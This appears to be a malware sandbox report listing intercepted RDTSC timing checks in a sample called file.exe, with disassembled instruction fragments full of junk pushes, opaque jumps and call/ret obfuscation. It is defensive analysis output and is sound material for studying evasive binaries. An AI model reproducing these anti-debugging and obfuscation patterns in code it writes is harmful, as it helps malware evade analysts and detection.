Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE374A second address: CE37C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007FAB24F20E66h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FAB24F20E68h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 call 00007FAB24F20E78h 0x0000002e mov di, ax 0x00000031 pop edi 0x00000032 mov dword ptr [ebp+122D1E1Eh], ecx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d mov dword ptr [ebp+122D1E66h], eax 0x00000043 pop esi 0x00000044 xchg eax, ebx 0x00000045 jmp 00007FAB24F20E75h 0x0000004a push eax 0x0000004b push ecx 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4252 second address: CE4265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4265 second address: CE4279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB24F20E70h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4279 second address: CE427D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FD9F second address: C9FDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAB24F20E66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FDAE second address: C9FDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9FDB2 second address: C9FDC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEAAC0 second address: CEAB1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D27DCh], esi 0x00000010 push 00000000h 0x00000012 sub ebx, dword ptr [ebp+122D3BF9h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FAB248C33E8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 push eax 0x00000035 pushad 0x00000036 ja 00007FAB248C33E8h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FAB248C33F9h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9DDE second address: CE9DE8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9DE8 second address: CE9DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9DEE second address: CE9DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9DF2 second address: CE9DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB991 second address: CEB995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB995 second address: CEB99B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB99B second address: CEB9F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FAB24F20E68h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 pushad 0x00000026 mov di, bx 0x00000029 pushad 0x0000002a jbe 00007FAB24F20E66h 0x00000030 sub dword ptr [ebp+122D2080h], edx 0x00000036 popad 0x00000037 popad 0x00000038 movsx ebx, bx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+1245CA76h], esi 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FAB24F20E6Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC95B second address: CEC965 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB248C33E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC965 second address: CEC978 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FAB24F20E68h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBBDE second address: CEBC03 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAB248C33E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jmp 00007FAB248C33F5h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEA36 second address: CEEA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFAC5 second address: CEFAE3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAB248C33F4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFAE3 second address: CEFAE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0AB7 second address: CF0B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FAB248C33F5h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FAB248C33E8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b or edi, 36A74F18h 0x00000031 mov ebx, ecx 0x00000033 push 00000000h 0x00000035 mov bx, 7741h 0x00000039 push 00000000h 0x0000003b mov bx, D711h 0x0000003f xchg eax, esi 0x00000040 jnp 00007FAB248C33F1h 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007FAB248C33F0h 0x0000004d jng 00007FAB248C33ECh 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1AC2 second address: CF1AEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAB24F20E71h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0C59 second address: CF0C5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0C5E second address: CF0C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5345 second address: CF5349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0C64 second address: CF0CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D38DBh], eax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov dword ptr [ebp+122D23F2h], edi 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007FAB24F20E68h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov edi, ecx 0x0000003e call 00007FAB24F20E6Ch 0x00000043 sub dword ptr [ebp+122D27EBh], eax 0x00000049 pop edi 0x0000004a mov eax, dword ptr [ebp+122D0AFDh] 0x00000050 mov ebx, 1360CAC1h 0x00000055 mov bl, 38h 0x00000057 push FFFFFFFFh 0x00000059 movsx ebx, dx 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FAB24F20E6Dh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5349 second address: CF5354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0CE2 second address: CF0CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5354 second address: CF5364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33EAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0CE7 second address: CF0D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAB24F20E66h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAB24F20E74h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5364 second address: CF536A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF536A second address: CF5397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAB24F20E75h 0x0000000c jmp 00007FAB24F20E71h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7B44 second address: CF7B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C37 second address: CF6C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7DB1 second address: CF7DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FAB248C33EFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9A69 second address: CF9A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9BC0 second address: CF9BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9C9B second address: CF9CA5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06411 second address: D06415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06415 second address: D06421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06421 second address: D06425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06425 second address: D06429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D065EC second address: D065F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0AD4D second address: D0AD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0AE2B second address: D0AE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAB248C33E6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FAB248C33ECh 0x00000015 jc 00007FAB248C33E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0AE46 second address: D0AE88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FAB24F20E78h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FAB24F20E68h 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0AE88 second address: D0AE92 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB248C33ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1004E second address: D10076 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAB24F20E74h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b jnp 00007FAB24F20E72h 0x00000011 jg 00007FAB24F20E66h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10A83 second address: D10AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB248C33F1h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10AA5 second address: D10AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1685A second address: D1685F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1518E second address: D151AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAB24F20E82h 0x00000008 jmp 00007FAB24F20E76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D151AE second address: D151B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1549F second address: D154A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D154A3 second address: D154B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D155D4 second address: D155DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D155DA second address: D155E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D155E2 second address: D155E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D155E7 second address: D15604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB248C33F7h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15604 second address: D1563D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FAB24F20E66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007FAB24F20E72h 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007FAB24F20E6Ah 0x0000001d jmp 00007FAB24F20E6Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1563D second address: D15658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007FAB248C33E6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FAB248C33EAh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15658 second address: D1565E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1578D second address: D157A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007FAB248C33ECh 0x0000000c jbe 00007FAB248C33E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D158FF second address: D15904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15904 second address: D1590A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1590A second address: D15929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FAB24F20E66h 0x0000000d jmp 00007FAB24F20E72h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15A9A second address: D15AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15EEA second address: D15F1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jl 00007FAB24F20E66h 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jo 00007FAB24F20E66h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f pushad 0x00000020 jng 00007FAB24F20E66h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15F1C second address: D15F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16095 second address: D1609B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16231 second address: D16250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB248C33F9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16250 second address: D16254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16254 second address: D16274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 jns 00007FAB248C33E6h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FAB248C33ECh 0x0000001a jns 00007FAB248C33E6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16274 second address: D1627A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1627A second address: D16291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16291 second address: D162CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E76h 0x00000007 jmp 00007FAB24F20E79h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007FAB24F20E80h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D166BC second address: D166C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D166C4 second address: D16706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAB24F20E6Eh 0x0000000a jnl 00007FAB24F20E76h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAB24F20E75h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16706 second address: D1670A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21653 second address: D21676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAB24F20E66h 0x0000000a pop ecx 0x0000000b push esi 0x0000000c jmp 00007FAB24F20E6Fh 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21676 second address: D2168D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FAB248C33F1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E2AD second address: C9E2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAB24F20E66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E2B7 second address: C9E2DB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB248C33E6h 0x00000008 jmp 00007FAB248C33F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20F0D second address: D20F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20F11 second address: D20F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2107A second address: D21091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E6Ah 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F0D second address: D29F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
